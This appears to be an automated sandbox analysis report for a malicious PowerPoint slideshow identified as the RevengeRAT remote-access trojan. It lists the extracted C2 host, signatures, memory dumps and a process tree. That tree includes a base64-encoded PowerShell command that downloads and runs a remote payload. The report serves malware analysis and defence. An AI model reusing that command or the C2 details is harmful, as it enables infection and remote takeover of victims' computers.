Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    07/05/2023, 00:50

General

  • Target
    32654120000.pps
  • Size 85KB
  • Sample230507-a69d9aeb33
  • SHA256 924b64652f124bbf235affcb91f62ddd799456c8b7438842c322db64d1a3e4a4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • revengerat

Botnet
  • NyanCatRevenge

C2
  • m7.ddns.com.br:5222

Mutex
  • 63165e63d56748c

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\32654120000.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1408
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1504
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcAA6AC8ALwBkAGEAbgBpAGUAbAB2AGkAZABhAGIAZQBsAGEALgA2AHQAZQAuAG4AZQB0AC8AZABvAHcAbgBsAG8AYQBkAC8ARgBhAGMAawAuAGoAcABnAA0ACgAnACkAOwAgAA0ACgB6AEIAdwB6AGMAWQBEAHoAegBuAHkAawBLAGYARwBlAEEAdwBMAE8ARQBiAEMARABWAFAAUwB3AEIARgB5AFUAVQBOAHoATgBOAEcAYwBoAEEAdABSAG8ASwBjAFYAYQBSAE0AWQBGAFAAdwBHAFgAYQBOAGMAbwBMAG8AWQBVAHgAZABvAFgATQB0AFQAVQBrAEcAUwBpAHAATgByAFQAVABTAHoATwBHAG4ARwBKAGgAYgBOAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:968
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:1676

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/968-71-0x00000000023A0000-0x00000000023B8000-memory.dmp

            memory/968-73-0x00000000023A0000-0x00000000023B8000-memory.dmp

            memory/968-62-0x00000000023A0000-0x00000000023B8000-memory.dmp

            memory/968-63-0x00000000023A0000-0x00000000023B8000-memory.dmp

            memory/968-65-0x00000000023A0000-0x00000000023B8000-memory.dmp

            memory/968-67-0x00000000023A0000-0x00000000023B8000-memory.dmp

            memory/968-69-0x00000000023A0000-0x00000000023B8000-memory.dmp

            memory/968-60-0x00000000022E0000-0x0000000002320000-memory.dmp

            memory/1408-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

            memory/1408-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

            memory/1676-74-0x0000000000400000-0x000000000040A000-memory.dmp

            memory/1676-75-0x0000000000400000-0x000000000040A000-memory.dmp

            memory/1676-76-0x0000000000400000-0x000000000040A000-memory.dmp

            memory/1676-77-0x0000000000400000-0x000000000040A000-memory.dmp

            memory/1676-78-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

            memory/1676-79-0x0000000000400000-0x000000000040A000-memory.dmp

            memory/1676-81-0x0000000000400000-0x000000000040A000-memory.dmp

            memory/1676-83-0x0000000000400000-0x000000000040A000-memory.dmp